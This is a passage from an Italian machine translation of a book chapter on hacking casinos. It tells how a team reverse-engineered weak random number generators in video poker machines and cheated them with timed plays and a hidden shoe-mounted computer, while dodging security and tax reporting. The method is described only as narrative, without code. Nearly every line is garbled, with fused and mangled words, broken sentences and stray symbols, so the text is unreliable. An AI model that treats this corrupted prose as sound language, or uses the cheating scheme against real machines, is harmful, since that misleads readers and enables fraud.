sono raccolte carte di sostituzione? "Ma l'obietfvincipale per i ragazzi di questo
frangente era localizzare il codice per il genegeath numeri casuali
(RNG). Ipotesi di Alex che i programmatori giappsnehe hanno scritto il codice
per la macchina potrebbe aver preso scorciatoidnaheo lasciato gli errori nella progettazione
il generatore di numeri casuali rivelata correttae avevano.
Riscrivere il codice
Alex suona orgoglioso nel descrivere questo sfdi@@mo stati i programmatori; noi
erano bravi a quello che abbiamo fatto. Abbiamatoagpme numeri nel codice turno
in carte sulla macchina e poi ha scritto un pezzmdice C che avrebbe
fare la stessa cosa ", ha detto, riferendosi gulggio di programmazione
chiamato "C."
Eravamo motivati e abbiamo fatto un sacco di lavoitto il giorno.Avevo
dire che probabilmente ci sono voluti circa duegeodettimane per arrivare al punto
dove abbiamo davvero avuto una buona conosceresatiamente cosa stava succedendo in
il codice.
Si guarda, si fanno alcune ipotesi, si scrive ghalauovo codice,
masterizzarlo su ROM [il chip del computer], rinegtd in
la macchina, e vedere cosa succede. Vorremmodarede come write
routine che sarebbe pop esagonali [esadecimali] etnsullo schermo
in cima alle carte. Quindi, fondamentalmente ottenea sorta di una panoramica di
progettazione
come il codice le carte.
E 'stata una combinazione di tentativi ed errodi@nalisi top-down;
il codice ha iniziato molto presto ad avere un er@@osi abbiamo capito
tutto cio che riguarda esattamente come i numdingdrno del computer
trasformare in carte sullo schermo.
La nostra speranza e che il generatore di numesuedi sarebbe rapporto
relativamente semplice. E in questo caso nei paimmi '90, € stato. Ho fatto un ratura
ricerca tle e scoperto che era basata su qualctéea c
Donald Knuth aveva scritto negli anni '60. Quesiyazzi non hanno fatto
inventare qualsiasi di queste cose; hanno appera@ricerca esistenti sul Monte
Metodi e cose Carlo, e metterlo nel proprio codice.
Abbiamo capito esattamente che cosa algoritmo tahaso utilizzando per generare
mangiato le carte; si chiama un registro a scorrimt@lineare di feedback, ed e stato
una discreta generatore di numeri casuali.
Ma ben presto scoperto il generatore di numerialaaueva un difetto fatale
che ha reso il loro compito molto piu facile. Mika spiegato che "era relativamente
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semplice RNG 32 bit, per cui la complessita congiotale di incrinatura era
a portata di mano, e con un paio di buoni ottinzizai € diventato quasi banale. "



Cosl i numeri prodotti non erano veramente casideAlex pensa

c'é una buona ragione per cui questo deve ess&re co

Se e veramente casuale, non si possono impostaredabilita. Non possono verificare
quali sono le probabilita sono davvero. Alcune niice hanno dato reale sequenziale
vampate. Essi non dovrebbero accadere a tutti. Qmsigettisti vogliono essere

in grado di verificare che essi hanno le statistigiuste o si sentono come se

non hanno il controllo del gioco.

Un'altra cosa che i progettisti non si rese contagdo hanno progettato questo
macchina é che in fondo non € solo che hanno besdgon caso

generatore di numeri. Statisticamente ci sono diacie in ogni affare -

cinque che mostrano inizialmente, e una schedanate per ciascuno di

quei cinque che apparira se il giocatore sceglischrtare. Si scopre

in queste prime versioni della macchina, si trdttadamentalmente preso quelle

dieci carte da dieci numeri casuali sequenziali ceto

generatore di numeri.

Cosi Alex ed i suoi partner hanno capito che keizsbni di programmazione

Su questa macchina prima generazione sono stapienahta. E poiché

di questi errori, videro che avrebbero potuto smewun relativamente semplice, ma
elegantemente algoritmo intelligente per sconfigdeammacchina.

Il trucco, Alex ha visto, potrebbe essere quellawdiiare un gioco, vedere quali carte si presento
sulla macchina, ei dati feed nel proprio computend a casa

individuando quelle carte. Il loro algoritmo calebbe dove il ran-

generatore dom era, e quanti numeri si doveva paagaaverso prima

che sarebbe stato pronto per visualizzare il dagwaato mano, la scala reale.

Quindi siamo a nostra macchina di test e corriaimoistro piccolo programma e

ci dice correttamente la prossima sequenza di céte eravamo abbastanza

eccitato.

Alex attributi che I'eccitazione a "sapendo chepsgintelligente di qualcuno

corpo e li si puo battere. E che, nel nostro castato gonna make

noi po 'di soldi. "

Andarono shopping e hanno trovato un orologio dagpGasio con un conto alla rovescia
caratteristica che potrebbe essere impostato deciseicondo; hanno comprato tre, uno
per ciascuno dei ragazzi che sarebbe andato alogadsirry sarebbe

rimanendo dietro all'uomo il computer.

Erano pronti per iniziare a testare il loro metodoo del team sarebbe

cominciare a giocare e avrebbe chiamato la mamatteauto - la denominazione

e un vestito di ciascuna delle cinque carte. Laangbbe inserire i dati in loro
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proprio pc; se qualcosa di un off-brand, che eripmpopolare
con nerds e computer di appassionati, e ottimaopgcopo perché aveva
un chip molto piu veloce di quella nella macchiideo poker giapponese. Esso
preso solo momenti per calcolare il tempo esattarppostare in uno dei
Timer conto alla rovescia CASIO.
Quando il timer e andato via, il ragazzo alla sh@ichine avrebbe colpito il
Tasto Play. Ma questo doveva essere fatto esattaraptro una frazione di
secondo. Non tanto di un problema di come potraslebaorare, come Alex ha spiegato:
Due di noi avevano speso un po 'di tempo come rstisie sei un musicista
e si dispone di un ragionevole senso del ritmpusi premere un pulsante



entro piu 0 meno cinque millisecondi.

Se tutto ha funzionato nel modo in cui avrebbe timva macchina sarebbe

visualizzare la scala reale ricercato. Ci hannegmsulla propria macchina,

praticare fino a quando tutti loro potrebbe colpiracala reale su una percentuale decente
I'eta dei loro tentativi.

Nel corso dei mesi precedenti, che avevano, secenglarole di Mike, "reverse inge-
neering il funzionamento della macchina, apprescipe modalita casuale

numeri sono stati trasformati in carte sullo scherproprio quando e come

veloce RNG iterato, tutti i pertinenti idiosincraglella macchina,

e ha sviluppato un programma per prendere tuttstgueriabili in considerazione

in modo che una volta che sappiamo lo stato dipamacolare macchina in un istante esatto
nel tempo, si potrebbe prevedere con elevata jweeiditerazione esatta

RNG in qualsiasi momento entro le prossime oredirdilira giorni. "

Avevano sconfitto la macchina - trasformato in lschiavo. Avevano

assunto sfida intellettuale di un hacker e eractiasLa conoscenza

bordo potrebbe farli ricchi.

E 'stato divertente fantasticare su. Potrebbergatavportare fuori nel jun-

gle di un casing?

Torna Casino - This Time to Play

E 'una cosa a smanettare sulla propria macchiona privato, cassetta di sicurezza
posizione. Cercando di stare nel bel mezzo di smoavivace e rubare il loro

soldi - questa e un'altra storia. Questo richiest®ird'acciaio.

Le loro signore pensato che il viaggio é statollodlala. | ragazzi incoraggiato stretto
gonne e flamboyant comportamento - il gioco d'adzachat, ridacchiando, ordinamento
bevande - sperando che il personale in cabinadietza ha retto il "Eye in the
Telecamere Sky "sarebbero distratti dalle belledaz uno spettacolo di carne. "So
abbiamo spinto che, per quanto possibile, "Aleanda.
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La speranza era che potevano solo adattarsi, Eelamsone con la folla.
"Mike e stato il migliore a questo. E 'stato unéaadli calvizie. Lui e sua moglie solo
sembrava giocatori tipici. "
Alex descrive la scena come se fosse successadtittdarco e
Mike probabilmente ha fatto un po 'diverso, ma tueéscome ha funzionato per Alex:
Con la moglie Annie, avrebbe prima perlustrare asire e scegliere un video
machine poker. Aveva bisogno di sapere con estgp@sione il ciclo esatto
tempo della macchina. Un metodo hanno usato cdimakeno un video
macchina fotografica in una borsa a tracolla; airgg il giocatore avrebbe posizionare il
borsa cosi I'obiettivo della fotocamera e statagtornverso lo schermo del video poker
la macchina, e poi avrebbe eseguito la fotocameramp po '. "Potrebbe essere
difficile ", ricorda," cercando di issare il sactioenel esattamente destra
Posizione senza guardare come la posizione daiwgartava. Semplicemente non fare
voglia di fare qualsiasi cosa che sembra sospetthiama I'attenzione ". Mike
preferito un'altra, metodo meno esigente: "tempadio per sconosciuto
macchine fuori del campo e stato calcolato cartiegigere sullo schermo
in due momenti, molte ore di distanza. "Ha dovigdficare che la macchina aveva
non e stato giocato in mezzo, perché questo altersso di iterazione,
ma é stato facile: basta controllare per vederdecharte mostrate sono le stesse
come quando era stato ultimo sulla macchina, cseldo era il caso dal



"High stakes macchine tendono a non essere gispas0."

Nel prendere la seconda lettura delle carte viszate, avrebbe anche sin-

chronize suo timer Casio, e quindi telefono i dagincronizzazione della macchina e
sequenze di carte torna a Larry, che vorrebberarenthella loro casa-base

computer ed eseguire il programma. Sulla baseehtgdati, il computer

avrebbe prevedere il tempo della prossima scala.rdai sperava che fosse ore;

a volte era giorni ", nel qual caso avrebbero dovitominciare tutto con

un‘altra macchina, forse in un altro hotel. In qadase, i tempi di

la Casio potrebbe essere fuori fino a un minutaialgli, ma abbastanza vicino.
Tornando abbondanza precoce in caso qualcunoa@ed gomputer di destinazione,
Alex e Annie sarebbero tornati al casino e traszerdel tempo su altri

macchine fino al giocatore a sinistra. Poi Alegegileva al bersaglio

Macchina, con Annie presso la macchina accanto Avavano iniziato a giocare,

fare un punto di guardare come stavano divertelddp.come Alex ricorda:

Mi piacerebbe iniziare un gioco, accuratamente nizzato al mio timer Casi§uando
la mano si avvicind, mi piacerebbe memorizzo alibke e seme di ogni

delle cinque carte, e poi continuare a giocare fanquando ho avuto otto carte in
sequenza in memoria. Mi piacerebbe cenno a miaieole ero sulla mia strada

e la testa di un telefono a pagamento poco appanigcappena fuori piano del casino.
Avevo circa otto minuti per arrivare al telefonard quello che dovevo

fare, e tornare alla macchina. Mia moglie continaavgiocare.
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Chiunque € arrivato ad usare la mia macchina, cheva appena dire loro
il marito era seduto Ii.
Avevamo trovato un modo di fare una telefonataeghale acustico di Larry,
e immettere i numeri sulla tastiera del telefono gigyli le carte.
Che era cosi non abbiamo dovuto dire le carte &l \abce - il casino
le persone sono sempre in ascolto per cose dekgelnary avrebbe di nuovo
inserire le schede nel computer ed eseguire ilrngebgramma.
Allora gli avevo telefonato. Larry avrebbe tendradevitore fino al com-
computer, che darebbe due serie di piccoli toni &lgrimo
uno, mi ha colpito il pulsante Pausa sul timer, fEemarlo il conteggio
giu. Sulla seconda, mi ha colpito di nuovo Pausa pevviare il timer.
Le carte Alex riportato dato il computer una coivee esatta in cui il
generatore di numeri casuali della macchina eseréndo il ritardo ordinata
dal computer, Alex entrava una correzione crugiaieil Casio
conto alla rovescia per cui sarebbe andare fuatt@sente nel momento in cui il reale
flush era pronto ad apparire.
Una volta che il conto alla rovescia e stato riaate, sono tornato alla
macchinaQuando il timer & andato come "beep, beep, booamguel momento,
proprio su quel "boom", mi ha colpito di nuovo ulpante di riproduzione sulla macchina.
Quella prima volta, credo vinto $ 35.000.
Siamo arrivati fino al punto in cui abbiamo avuicca 30 0 40 per cento aspirazione
cess perché era piuttosto ben elaborato. Le unicitte che non ha fatto
lavoro é stato quando non hai il giusto tempismo.
Per Alex, la prima volta che ha vinto era "abbastagccitante, ma spaventoso. Il pit boss
Era questo accigliato tizio italiano. Ero sicur@chi guardava divertente, con
questo perplessa espressione sul suo volto, fersd@ stavo per telefono



tutto il tempo. Penso che possa essere andatadagea nastri. "Nonostante il

tensioni, c'era "un brivido ad esso." Mike ricodiassere "naturalmente nerv-

unita organizzative che qualcuno potrebbe avertomata comportamento strano da parte mia, ma di
fatto

nessuno mi ha guardato divertente a tutti. Mia mecgd io siamo stati trattati come tipico
high-stakes vincitori - congratulati e offerto maibmps ".

Erano cosi successo che avevano bisogno di preaxstuld vincere cosi tanto

soldi che avrebbero attirare I'attenzione su sesstelanno cominciato a rico-

ognize che hanno affrontato il curioso problematgipo successo. "E 'stato molto

di alto profilo. Stavamo vincendo enormi jackpotligcine di migliaia di DOL

lars. Una scala reale paga 4.000 a 1; su una nmec$ts, che e di venti dollari. "

Siva da li. Alcuni dei giochi sono un tipo chiamatogressivo -

il jackpot continua ad aumentare fino a quandoaurad colpisce, ei ragazzi sono stati in grado di
vincere quelli altrettanto facilmente.

L'arte dell'intrusione

10

Pagina 32
Ho vinto uno che era di 45 dollari. Un ragazzo tiechig-belt € uscito -
Probabilmente lo stesso ragazzo che va in girgara le macchine.
Ha una chiave speciale che i ragazzi piano non ba/hapre
la scatola, tira fuori il [elettronica] bordo, tirduori il chip ROM
proprio li di fronte a voi. Ha un lettore di ROM rcdui
che usa per testare il chip dalla macchina conti@uai master dorato
ter che é tenuto sotto chiave.
Il test ROM era procedura standard per anni, Axiparato. Lui
presuppone che erano "stati bruciati in quel moo@' alla fine catturato
al regime e mettere nella ROM controllo come cantsora.
L'affermazione di Alex mi ha lasciato chiedo s@asiao fanno questo controllo perché
di alcuni ragazzi che ho incontrato in carcerelthéatto sostituire il firmware. lo
si chiedevano come avrebbero potuto farlo abbaatedamente per evitare di essere catturati.
Alex capito che questo era un approccio di ingegrsmciale, che avevano com-
promesso la sicurezza e pagato qualcuno all'inteéehoasino. Egli CON-
jectures che potrebbero anche hanno sostituitadstno d'oro che sono
dovrebbe confrontare chip della macchina contro.
La bellezza di trucco della sua squadra, Alex B&iito, era che non avevano
per cambiare il firmware. E hanno pensato proppjaraccio offerto
molto piu di una sfida.
La squadra non ha potuto continuare a vincere graimde fossero; i ragazzi capito
"Era chiaro che qualcuno avrebbe messo insiem@idugue e dire,
'Ho visto questo ragazzo prima.' Abbiamo iniziadcaere paura che eravamo andando
essere preso. "
Oltre ai sempre presenti preoccupazioni esseressitoprano anche
preoccupato per la questione fiscale; per ognonétcontro 1.200 dollari, il casind chiede
per l'identificazione e le relazioni della vincfar I'IRS. Mike dice che "Se
il giocatore non produce ID, abbiamo ipotizzato Ehtasse sarebbero state trattenute
dalla vincita, ma non abbiamo voluto attirare éa#tione su noi stessi
scoprire. "Pagare le tasse" non era un grossoegzbl, ma" si inizia a crea-
mangiato un disco che, come, stai vincendo somithefalenaro. Cosi un sacco
della logistica stavamo, 'Come si fa a rimanereosbtadar?' "
Avevano bisogno di venire con un approccio diveBapo un breve periodo



di "ET telefono casa", hanno iniziato a concepira nuova idea.

New Approach

| ragazzi avevano due obiettivi questa volta: gpplare un metodo che avrebbe
lasciarli vincere sulle mani come una casa pientpdo un colore, cosi i versamenti
non basterebbe humongous per attirare I'attenzibnendere qualcuno

come meno evidente e meno fastidioso di dover maiktelefono

prima di ogni gioco.
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Poiché i casino offerti solo un numero limitatogtipponese
macchine, i ragazzi questa volta si stabilironoisa macchina in uso piu ampio, un tipo
prodotto da una societa americana. Hanno presae gl stesso modo
e ha scoperto che il processo di generazione deriwwasuali e stato molto
pil complessa: la macchina utilizzata due generaler operano in combinazione
zione, invece di uno solo. "I programmatori erarmtmpiu consapevoli di
le possibilita di pirateria, "Alex ha concluso.
Ma ancora una volta i quattro scoperto che i ptegeavevano fatto un cru-
errore ciale. "A quanto pare avevano letto un gil@rche ha detto a migliorare la
qualita della casualita, se si aggiunge un secoegistro, ma hanno fatto
sbagliato ". Per determinare una qualsiasi cantawmero dal primo casuale
Numero generatore veniva aggiunto ad un numersetaindo.
Il modo corretto per progettare questo richiededondo generatore
iterare - cioeé, cambiare il suo valore - dopo ogni careag distribuita. Il design-
ERS non aveva fatto; avevano programmato il secoggistro per iterare
solo all'inizio di ogni mano, in modo che lo stegsmnero stava essendo
aggiunto al risultato dal primo registro per ogaita della transazione.
Per Alex, l'uso di due registri reso la sfida "upptology
cosa "; riconobbe che era simile a un passo talwdato in
crittografare i messaggi. Anche se aveva acquisitocerta conoscenza della
soggetto, non e stato abbastanza per vedere ihedo di una soluzione, cosi inizio MAK
ing viaggi di una biblioteca universitaria vicinatadiare fino.
Se i progettisti avevano letto alcuni libri sulttosistemi piu
attenzione, non avrebbero fatto questo errore.tteptovrebbero
sono stati piu metodico sui test dei sistemi peratking
il modo in cui siamo stati li cracking.
Ogni buon college informatica grande potrebbe pimbaente scrivere
codice a fare quello che stavamo cercando di fai@ wolta capisce che cosa e
richiesto.La parte geekiest di esso era capire algoritmi fare
la ricerca rapidamente in modo che fosse solo psebondi per dire
cosa sta succedendo; se l'avete fatto ingenuamaretrebbe prendere un paio di
ore per dare una soluzione.
Siamo abbastanza buoni programmatori, siamo tuiticeta facciamo la nostra vita
farlo, cosi siamo arrivati a alcune ottimizzazionolto intelligenti.
Ma non direi che era banale.
Mi ricordo di un errore simile fatta da un prograatore a Norton (prima
Symantec loro) che ha lavorato sul loro prodottekiet acquistato, una applicazione
zione che ha permesso ad un utente di crearewrtiiali criptati. Lo sviluppatore
implementato I'algoritmo non correttamente - odéargenzionalmente - in un
modo portato riducendo lo spazio per la chiaveittografia da 56
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bit a 30 dati standard di crittografia del govefederale hanno utilizzato un
Chiave di 56 bit, che é stato considerato indigbilg, e Norton ha dato il suo depositaria
tomers senso che il loro dati sono stati protefu@sto standard. Perché
errore del programmatore, i dati dell'utente éastakeffetti essere criptato
con solo 30 bit anziché 56. Anche in quei giorrsfao possibile
forza brutauna chiave a 30 bit. Qualsiasi persona che udilizgrodotto lavorato in un
falso senso di sicurezza: Un utente malintenziopatcebbe derivare la propria chiave in una
ragione
periodo ragione- e accesso guadagno per i datigglte. La squadra ha avuto perta
Ered lo stesso tipo di errore nella programmazaei macchina.
Allo stesso tempo, i ragazzi stavano lavorandorspragramma per computer che
sarebbe far loro vincere contro la loro nuova maxhi destinazione, che premevano
Alex per un approccio non-piu-running-to-the-tetedgubblico. La risposta
Si é rivelato essere basato sulla presa una pdgifaidaemonic Pisoluzione
zione: un computer "indossabili”. Alex messo a pum sistema composto da un nane
calcolatore turized costruito intorno ad una piacgtheda a microprocessore e Mike
Marco ha trovato in un catalogo - e, per andarneimns con esso, un pulsante di controllo
che si adattano nella scarpa, oltre a un vibraibeazioso come i comuni in molti
dei telefoni cellulari di oggi. Si riferivano alssema come loro "computer-
in-the-pocket cosa. "
"Dovevamo essere un po 'intelligente di farlo syioeolo chip con un piccolo
memoria ", ha detto Alex. "Abbiamo fatto qualché¢ terdware per rendere il tutto in forma in
scarpe e essere ergonomico. "(Per" ergonomicou@éstqg contesto, penso che
significava abbastanza piccolo e quindi si pud caram senza zoppicare!)
Il nuovo attacco
La squadra ha iniziato provare il nuovo schema sthto un po 'nerve-
wracking. Certo, si potrebbe ora fare a meno delpmrtamento sospetto di
in esecuzione di un telefono pubblico prima di ogtioria. Ma anche con tutto il vestito
pratica prove indietro al loro "ufficio”, serataaertura ha significato I'esecuzione
di fronte ad un pubblico considerevole di persongalirezza sempre sospette.
Questa volta il programma e stato progettato inaramipoter sedersi a una macchina
piu, vincendo una serie di piccoli, gli importi neaspetti. Alex e
Mike ritrovare alcuni di tensione quando descrivenme funzionava:
Alex: lo di solito mettere il computer in quello che §eava un po 'tra-
Radio Sistor in tasca. Vorremmo eseguire un filocdanputer
giu all'interno della calza in questo interruttonella scarpa.
Mike: il mio io legato alla mia caviglia. Abbiamo fatti interruttori da
piccoli pezzi di breadboard [materiale utilizzatoun laboratorio hardware per
costruzione di prototipi circuiti elettronici]. lgzzi erano
circa un pollice quadrato, con un pulsante miniatuE abbiamo cucito
su un po 'di elastico per andare intorno all'allu¢®i ci si taglia un
Capitolo 1 Hacking Casino per un milione di dollari
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hole in soletta di un Dr. Scholl per tenerlo in @sne nella scarpaEra
solo scomodo se si sta utilizzando tutto il gioraliora potrebbe arrivare



straziante.

Alex: Cosi si va al casino, si prova a guardare la cal@mgire come

non c'e niente, niente fili in pantaloni. Si sadeavvia la riproduzione

ing. Avevamo un codice, una specie di codice Morse yhidgi messo in

soldi per correre su un credito in modo da non daantinuare a monete di alimentazione,
e poi iniziare a giocare. Quando le carte veniiesceglie la scarpa

pulsante per inserire quello che le carte stannatmramdo.

Il segnale dal pulsante pattino va nel computer ehie

tasca dei pantaloni. Solitamente nelle prime maeelui sono voluti sette o

otto carte per entrare in sincronia. Si ottienedure carte sul affare,

potrebbe disegnare tre piu sarebbe una cosa moltaune, come hold

la coppia, disegnare gli altri tre, che € otto cart

Mike: Il codice per toccando il pulsante pattino statodrio, e

utilizzato anche una compressione tecnica qualdosanile a quello che e chiamato un
Codice Huffman. Cosi long-short sarebbe uno zerdjinario due.

Sarebbe lungo lungo essere uno-uno, un binaricet@si via. Nessuna scheda
richiesto piu di tre rubinetti.

Alex: Se tenuto premuto il pulsante per tre secondi,ech&to un

annullare.E [computer] darebbe poco richieste - come

dup-dup-dup significherebbe, "Okay, sono prontolji@gresso.” Abbiamo avuto
praticato questo - si doveva concentrarsi e imparewme farlo.

Dopo un po 'abbiamo potuto toccare, toccare meptngava avanti una conversazione
con un assistente di casino.

Una volta avevo sfruttato nel codice per identifecairca otto carte, che

sarebbe sufficiente per me per la sincronizzazemmecertezza circa il 99 per cento.
Cosi dopo da pochi secondi a un minuto o giu dli iom-

computer sarebbe ronzare tre volte.

Sarei pronto per l'azione.

A questo punto, il computer-in-the-pocket avevadto posto nel

algoritmo che rappresentava le carte appena affimriDal suo algoritmo e stato

la stessa di quella nella macchina video pokerpgar nuova mano trattate,

il computer sarebbe "sapere" che cosa cinque sapjglementari erano in attesa
una volta che il giocatore selezionato i suoi $@stegnalerebbe quali carte tenere
per avere una mano vincente. Alex ha continuato:

Il computer ti dice cosa fare inviando segnali adwibrazioni

tor in tasca; abbiamo ottenuto i vibratori liberrandoli fuori

vecchi cercapersone. Se il computer vuole che teeterza e la
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quinta carta, andra beep, beep, beeeeep, beepebpeehe si
si sentono come le vibrazioni in tasca.
Abbiamo calcolato che se abbiamo giocato con aitbeez abbiamo avuto tra il 20 e il
Il 40 per cento vigorish, il che significa un vagtgo del 40 per cento su ogni
mano.Questo € humongous - i migliori giocatori di blaat del
mondo vengono in a circa 2-1/ 2 per cento.
Se sei seduto a una macchina da 5 dollari di porgjmaigp cinque monete alla volta,
due volte al minuto, si puo essere fare $ 25 alutoinin mezz'ora
ora, si potrebbe facilmente fare $ 1000 dollari. gente sedersi e ottenere
fortunati come che ogni giorno. Forse il 5 per @edelle persone che siedono



e giocare per mezz'ora potrebbe fare che bene. ddamfanno

farlo ogni volta. Stavamo facendo che il 5 per oesgni volta.

Ogni volta che uno di loro aveva vinto alla graimden casino, aveva passare alla

un'altra. Ogni ragazzo tipicamente colpito quattimnque di fila. Quando

torno allo stesso casino in un altro viaggio uneraspo, farebbero

un punto di andare in un momento diverso dellangita, per colpire un diverso spostamento della
squadra di lavoro, persone meno probabilita dimdszerli. Hanno anche cominciato colpire
| casino in altre citta - Reno, Atlantic City, drale.

| viaggi, il gioco, la vincente gradualmente divermroutine. Ma su un

occasione, Mike pensava che il momento in cui tattievano era venuto. Aveva

solo "salito una tacca" e stava giocando $ 25 maegber la prima

tempo, che aggiunto alla tensione perché maggidneaéore della

macchine, piu si sta a guardare.

Ero un po 'ansioso, ma le cose andavano meglioedanticipare i

pato. Ho vinto circa 5.000 dollari in un tempo rel@mente breve lasso di tempo.

Poi questo grande, imponendo dipendente mi batie spalla.lo

guardo verso di lui la sensazione di qualcosa digea alla bocca dello mia centrazione dello
stomaco

ach. Ho pensato: "Questo &."

«Ho notato che giocato un po '," ha detto. "Ti @ebbe

rosa o verde? "

Se mi fosse stato, avrei sono chiesto, "Cosa soalbeq

le mie scelte di colore sard dopo che finire baltteim poltiglia? »l

che avrei potuto lasciato tutti i miei soldi e leva@ato di precipitare fuori luogo.

Mike dice di essere stato abbastanza condito dgpguéo di mantenere la calma.

L'uomo disse, "Vogliamo darvi una tazza di caffenmaggio.”

Mike ha scelto il verde.
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Marco aveva il suo momento di tensione. Stava tapdt una mano vincente
quando un pit boss non aveva notato intensifickdcspalla. "E un raddoppio
sanguinato fino a cinque mila dollari - che e urididortuna ", ha detto, sorpreso.
Una vecchia donna alla prossima macchina convoglatarta abrasiva roca di un fumatore
per voce, "E ... Non era ... fortuna". Il bossipigidi, i suoi sospetti
suscitato. "E 'statpalle, "gracchio.ll boss pit sorrise e si allontano.
Per un periodo di circa tre anni, i ragazzi altamara I'assunzione
lavori di consulenza legittimi per mantenere leloompetenze ei contatti, e SKIP-
ping ora fuori e poi a riempirsi le tasche alle oface video poker.
Hanno comprato anche due macchine supplementaautil piu diffuso
usato il video del modello poker, e ha continuat@ggiornare il loro software.
Il loro viaggi, i tre membri del team che hannoggato sarebbero testa fuori
a diversi casino, "non tutti vanno in branco”, letta Alex. "Lo abbiamo fatto una volta
o due volte, ma era stupido. "Anche se avevancoordo per lasciare che ogni
altri sanno quello che sono stati fino a, di tanttanto si potrebbe scivolare via a
una delle citta di gioco senza dirlo agli altri. Kanfinati
il loro gioco ai casind, mai giocare in posti com&leven o distri-
kets perché "tendono ad avere molto basse vincite."
Preso!
Alex e Mike sia cercato di essere disciplinati darando a "certa



regole che sapevamo avrebbero per ridurre la piidhati ottenere

notato. Uno di loro era mai colpire un luogo pepti soldi, mai

ha colpito per troppo tempo, non ha colpito tragiprni di fila. "

Ma Mike ha preso il senso di disciplina ancoragriave e sentito il

altri due non erano abbastanza attento. Accet@ewnun po ‘'meno

per ora, ma piu simile a un altro giocatore tipige.lui ha due assi

I'affare e il computer gli ha detto di eliminareoum entrambi gli assi

per una mano ancora migliore - per esempio, tikeja&gli non farlo. Tutti casi-
nos mantenere la "Eye in the Sky" osservatori & cabina di sicurezza sopra la
piano del casino, ha retto una serie di telecamtiesiEurezza che puo essere attivata,
concentrati e zoom, ricerca di imbroglioni, i dipgenti storti, e

altri piegati dalla tentazione di tutti quei solfe uno dei osservatori

e capitato di essere Shirciare a sua macchinayadche ragione, la

watcher saprebbe immediatamente c'era qualcosesjpeto, dal momento che nessun ragionevole
giocatore capace darebbe una coppia di assi. Ness@nnon € stato barare

in qualche modo potrebbe conoscere una mano negitava aspettando.

Alex non era poi cosi fastidioso. Marco era ancoeao. "Marco era un

bit arrogante ", secondo I'opinione di Alex:

Lui & un ragazzo molto intelligente, autodidattai fimito il liceo, ma un

di questi tipo dell’Europa orientale brillante dagazzi. E flammeggiante.
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Sapeva tutto di computer, ma aveva messo in testa
che i casind erano stupidi. Era facile pensare pbehé questi
persone lasciavano a ottenere via con cosi tan@wakthe cosi, credo
ha ottenuto troppo sicuro di sé.
Era piu di un temerario, e, inoltre, non si adataad profilo perché
ha appena sembrava questo straniero adolescentadQQuenso che tendeva a
destare sospetti. E lui non e andato con una ragaza moglie,
che avrebbe aiutato a montare in meglio.
Credo che appena finito per fare le cose che hagpoi'attenzione su
lui. Ma anche, col passare del tempo e tutti noi abbiamgto piu audaci, ci siamo evoluti
e tendeva ad andare alle macchine piu costose alpabato Bet
ter e che ancora una volta mettono piu rischi l'@aéone.
Anche se Mike non e d'accordo, Alex sembrava surggehne fossero
tutti e tre i acquirenti di rischio che avrebberantenere spingendo il bordo della finestra di
vedere fino a che punto poteva andare. Come diogvdenso che in fondo basta tenere
aumentando il rischio. "
Venne il giorno in cui uno minuti Marco era seditana macchina in un
casino, il minuto successivo era circondato da nodella sicurezza corpulenti che
lo tird su e lo spinse in una stanza intervistarstb.
Alex ha raccontato la scena:
E 'stato spaventoso perché si sentono storie dstqueegazzi che saranno
battere la merda di persone. Questi ragazzi sonwfa, "il F__k
polizia, che stiamo prendendo cura di questo resst "
Marco é stato sottolineato, ma lui era un personiaggolto duro. Infatti, in
per certi versi sono contento che era lui quelle tla farsi prendere eventuali
noi dovevamo perché penso che era il piu dotato di
gestire questa situazione. Per quel che ne so ebesagestito le cose come



torna in Europa orientale.

Espone alcuni lealta e non ci si arrende. Non paala

su eventuali partner o qualcosa di simile. Era s e

sconvolto ma era dura sotto il fuoco e fondamergali® si e detto di lavoro
ing solo.

Egli disse: "Guarda, io sono in arresto, sei ragatizpolizia, che cosa e |l
affrontare? "

E 'un tipo di applicazione della legge di interrdgeo, tranne che sono
Non polizia e non hanno alcuna reale autorita, éhgna specie di
strano.Loro continuavano a interrogarlo, ma non I'hanntétdeesattamente
lui maltrattare.

Capitolo 1 Hacking Casino per un milione di dollari
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Hanno preso la sua "foto segnaletica,” Alex dideaeno confiscato la com-

computer e tutti i soldi che aveva addosso, ciré¢2080 in contanti. Dopo per-

HAPS un'ora di interrogatorio, o forse molto pitnf® - era troppo sconvolto
per essere sicuri - hanno finalmente lasciato andar

Marco chiama i suoi soci en casa rotta. Sembrareefrco. Egli ha detto,
"Voglio dirvi ragazzi quello che é successo. | aditavvitato. "

Mike ando dritto per la loro sede. "Alex ed i0 eamo spaventata
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guando abbiamo sentito quello che e successo.ikEatma strappare le macchine a parte e

scarico pezzi in tutta la citta. "
Alex e Mike erano entrambi scontenti Marco per dabe superflui

rischi neces- correva. Egli non avrebbe messatbtaella scarpa come l'altra
due, ostinatamente insistendo per procedere dispnaella tasca della giacca e
attivazione con la mano. Alex ha descritto Marcmeaun ragazzo che "pensiero

gli addetti alla sicurezza erano cosi stupidi d&poontinuare a spingere I'Envelope

lope con quanto si stava facendo sotto il loro naso

Alex é convinto di sapere quello che e successtheagse non era
presente. (In realta, gli altri tre non sapeva Mama andato su un
viaggio casino nonostante l'accordo di indizio wite sui loro piani.)

Il modo in cui Alex figure, "Hanno appena visto dbhestava vincendo un ridicolo

quantita e che c'era qualcosa da fare con la sna.ifidarco

semplicemente non é stato preoccuparsi di pensguelp che potrebbe causare le per- piano

PLE per accorgersi di lui e meraviglia.
Questa e stata la fine di esso per Alex, anchese&mlel tutto sicuro della
altri. "La nostra decisione all'inizio era che smlguno di noi era mai

catturato, saremmo tutti smettere. "Ha detto," Siamtti aderito a che, per quanto mi

so. "E dopo un attimo, aggiunse con minore certé2z¢meno io

ha fatto. "Mike concorda, ma nessuno dei due hacinasto Marco la questione

ZIONE direttamente.

| casino in genere non perseguire attacchi comkogeiee i ragazzi
aveva tirato. "La ragione € che non vogliono putititiare che hanno
queste vulnerabilita, "Alex, spiega. Cosi di solffeuori di citta

prima del tramonto. E se siete d'accordo mai meggte in un casino di nuovo, poi

lasceremo andare. "

Conseguenze

Circa sei mesi dopo, Marco ha ricevuto una lettiicando che le accuse
contro di lui non erano stati premuti.



| quattro sono ancora amici, anche se non soria itipino in questi giorni. Alex
figure ha fatto 300 mila dollari dal avventuracdi una parte € andato a

Larry come avevano concordato. | tre partner-cagirndrso, che hanno preso tutto
L'arte dell'intrusione
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il rischio, aveva inizialmente detto che avrebbdikaso equamente tra loro, ma
Alex pensa Mike e Marco probabilmente preso $ 4D #& mezzo milione
ciascuno. Mike non volesse accusare piedi con nodiguanto
300 mila dollari, ma ammette che Alex probabilmeremeno di lui.
